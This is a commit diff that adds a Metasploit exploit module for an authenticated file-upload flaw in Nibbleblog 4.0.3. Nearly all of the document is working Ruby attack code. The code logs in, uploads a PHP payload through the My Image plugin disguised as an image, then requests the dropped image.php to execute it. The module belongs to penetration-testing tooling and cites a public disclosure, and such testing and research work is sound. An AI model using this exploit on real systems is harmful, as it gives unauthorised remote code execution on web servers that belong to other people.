Land rapid7#5959, Add Nibbleblog File Upload Vuln

Author: wchen-r7

modules/exploits/multi/http/nibbleblog_file_upload.rb

@@ -0,0 +1,160 @@
+##
+# This module requires Metasploit: http://www.metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'            => 'Nibbleblog File Upload Vulnerability',
+      'Description'     => %q{
+          Nibbleblog contains a flaw that allows a authenticated remote
+          attacker to execute arbitrary PHP code. This module was
+          tested on version 4.0.3.
+        },
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name?
+          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
+        ],
+      'References'      =>
+        [
+          ['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html']
+        ],
+      'DisclosureDate'  => 'Sep 01 2015',
+      'Platform'        => 'php',
+      'Arch'            => ARCH_PHP,
+      'Targets'         => [['Nibbleblog 4.0.3', {}]],
+      'DefaultTarget'   => 0
+    ))
+
+    register_options(
+      [
+        OptString.new('TARGETURI',  [true, 'The base path to the web application', '/']),
+        OptString.new('USERNAME',   [true, 'The username to authenticate with']),
+        OptString.new('PASSWORD',   [true, 'The password to authenticate with'])
+      ], self.class)
+  end
+
+  def username
+    datastore['USERNAME']
+  end
+
+  def password
+    datastore['PASSWORD']
+  end
+
+  def check
+    cookie = do_login(username, password)
+    return Exploit::CheckCode::Detected unless cookie
+
+    res = send_request_cgi(
+      'method'      => 'GET',
+      'uri'         => normalize_uri(target_uri.path, 'admin.php'),
+      'cookie'      => cookie,
+      'vars_get'    => {
+        'controller'  => 'settings',
+        'action'      => 'general'
+      }
+    )
+
+    if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')
+      return Exploit::CheckCode::Appears
+    end
+    Exploit::CheckCode::Safe
+  end
+
+  def do_login(user, pass)
+    res = send_request_cgi(
+      'method'      => 'GET',
+      'uri'         => normalize_uri(target_uri.path, 'admin.php')
+    )
+
+    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
+
+    session_cookie = res.get_cookies
+    vprint_status("#{peer} - Logging in...")
+    res = send_request_cgi(
+      'method'      => 'POST',
+      'uri'         => normalize_uri(target_uri.path, 'admin.php'),
+      'cookie'      => session_cookie,
+      'vars_post'   => {
+        'username'  => user,
+        'password'  => pass
+      }
+    )
+
+    return session_cookie if res && res.code == 302 && res.headers['Location']
+    nil
+  end
+
+  def exploit
+    unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check)
+      print_error("Target does not appear to be vulnerable.")
+      return
+    end
+
+    vprint_status("#{peer} - Authenticating using #{username}:#{password}")
+
+    cookie = do_login(username, password)
+    fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
+    vprint_good("#{peer} - Authenticated with Nibbleblog.")
+
+    vprint_status("#{peer} - Preparing payload...")
+    payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
+
+    data = Rex::MIME::Message.new
+    data.add_part('my_image', nil, nil, 'form-data; name="plugin"')
+    data.add_part('My image', nil, nil, 'form-data; name="title"')
+    data.add_part('4', nil, nil, 'form-data; name="position"')
+    data.add_part('', nil, nil, 'form-data; name="caption"')
+    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"")
+    data.add_part('1', nil, nil, 'form-data; name="image_resize"')
+    data.add_part('230', nil, nil, 'form-data; name="image_width"')
+    data.add_part('200', nil, nil, 'form-data; name="image_height"')
+    data.add_part('auto', nil, nil, 'form-data; name="image_option"')
+    post_data = data.to_s
+
+    vprint_status("#{peer} - Uploading payload...")
+    res = send_request_cgi(
+      'method'        => 'POST',
+      'uri'           => normalize_uri(target_uri, 'admin.php'),
+      'vars_get'      => {
+        'controller'  => 'plugins',
+        'action'      => 'config',
+        'plugin'      => 'my_image'
+      },
+      'ctype'         => "multipart/form-data; boundary=#{data.bound}",
+      'data'          => post_data,
+      'cookie'        => cookie
+    )
+
+    if res && /Call to a member function getChild\(\) on a non\-object/ === res.body
+      fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
+    elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
+      fail_with(Failure::Unknown, 'Unable to upload payload.')
+    end
+
+    vprint_good("#{peer} - Uploaded the payload.")
+
+    php_fname = 'image.php'
+    payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname)
+    vprint_status("#{peer} - Parsed response.")
+
+    register_files_for_cleanup(php_fname)
+    vprint_status("#{peer} - Executing the payload at #{payload_url}.")
+    send_request_cgi(
+      'uri'     => payload_url,
+      'method'  => 'GET'
+    )
+  end
+end